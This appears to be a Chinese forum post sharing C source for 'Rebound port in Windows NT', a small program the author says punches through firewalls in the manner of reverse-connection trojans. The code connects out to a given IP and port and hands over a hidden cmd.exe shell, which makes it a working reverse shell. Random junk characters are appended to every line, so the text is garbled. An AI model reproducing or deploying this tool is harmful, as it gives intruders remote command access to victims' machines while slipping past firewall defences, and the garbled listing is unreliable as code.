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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 GKsL~;8"  
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/* ============================== >&Ui*  
Rebound port in Windows NT -}qGb}F8!  
By wind,2006/7 bR8 HGH28  
===============================*/ z2nUul(2  
#include ;'Vipj   
#include CMxjX  
3{I=#>;  
#pragma comment(lib,"wsock32.lib") .";tnC!e  
E ^SM`  
void OutputShell(); xX&>5 "  
SOCKET sClient; ,ORG"]_F  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; zr;Y1Xt4  
rb}wv16?  
void main(int argc,char **argv) 23\j1?  
{ 77&^$JpM  
WSADATA stWsaData; 400Tw`AiJ  
int nRet; ZG \ I1  
SOCKADDR_IN stSaiClient,stSaiServer; Z>w^j.(  
vrm{Ql&  
if(argc != 3) .1z$ A  
{ J.e8UQ@=5  
printf("Useage:\n\rRebound DestIP DestPort\n"); D@r n@N  
return; ! N"L`RWD  
} g"dZB2`C  
\l=KWa3Q  
WSAStartup(MAKEWORD(2,2),&stWsaData); Q1ABnacR  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <GT>s  
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stSaiClient.sin_family = AF_INET; v1X&p\[d  
stSaiClient.sin_port = htons(0); z^a!C#IX  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ),y!<\oQ  
rm)SfT<  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) !8"$d_=h  
{ T?]kF-   
printf("Bind Socket Failed!\n"); #-gGsj;F  
return; =4M.QA@lI!  
} n2y/zP>TC  
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stSaiServer.sin_family = AF_INET; S`2mtg  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); /,uSCITD  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); +zVcOS*-  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) :9x084ESR)  
{ `3sy>GU?  
printf("Connect Error!"); [nN\{"~O  
return; \Sq"3_m4T  
} r_V2 J{B  
OutputShell(); EYJi6#  
} JW%/^'  
yjOu]K:X  
void OutputShell() 1W}nYU  
{ kh>SrW]B%  
char szBuff[1024]; '!yS72{$2  
SECURITY_ATTRIBUTES stSecurityAttributes; g@k#J"Q '[  
OSVERSIONINFO stOsversionInfo; ,2 g M-  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ]4 K1%ZV  
STARTUPINFO stStartupInfo; .n)!ZN  
char *szShell; az \<sWb#  
PROCESS_INFORMATION stProcessInformation; S-M)MCL  
unsigned long lBytesRead; !}L~@[v,uL  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Av;q:x?  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); B.Zm$JZ:  
stSecurityAttributes.lpSecurityDescriptor = 0; veX"CY`hn  
stSecurityAttributes.bInheritHandle = TRUE; z*dQIC  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); n2jvXLJq  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); r{_B:  
V &mH#k  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); cz7 CrK~5  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m<FWv2)^  
stStartupInfo.wShowWindow = SW_HIDE; )O2Nlk~l&  
stStartupInfo.hStdInput = hReadPipe; c9*1$~(v0I  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ?x5wS$^q<  
XoKO2<3  
GetVersionEx(&stOsversionInfo); {;Y 89&*R  
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switch(stOsversionInfo.dwPlatformId) :~ZqB\>i  
{ eC+"mhB  
case 1: jsNH`"  
szShell = "command.com"; =.qm8+  
break; 9k=U0]!ch  
default: 't0+:o">:  
szShell = "cmd.exe"; v.l7Q  
break; "W &:j:o  
} |2 YubAIZ(  
"'z,[v 50&  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); u{OS6Ky  
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send(sClient,szMsg,77,0); wQD0 vsD  
while(1) 9lZAa8Rxi  
{ nOAJ9  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); fr}1_0DDz  
if(lBytesRead) ,?xLT2>J_  
{ )h>\05|T  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Z>(r9 R3{  
send(sClient,szBuff,lBytesRead,0); z.2r@Psk  
} (|0.m8D~D  
else BR& Aq  
{ sJ))<,e5I  
lBytesRead=recv(sClient,szBuff,1024,0); [K cki+  
if(lBytesRead<=0) break; AfbB~LlBq  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); v"P&` 1=T  
} Pl rkgS0J  
} F`Dg*O  
]^J+-c  
return; v`#j  
}
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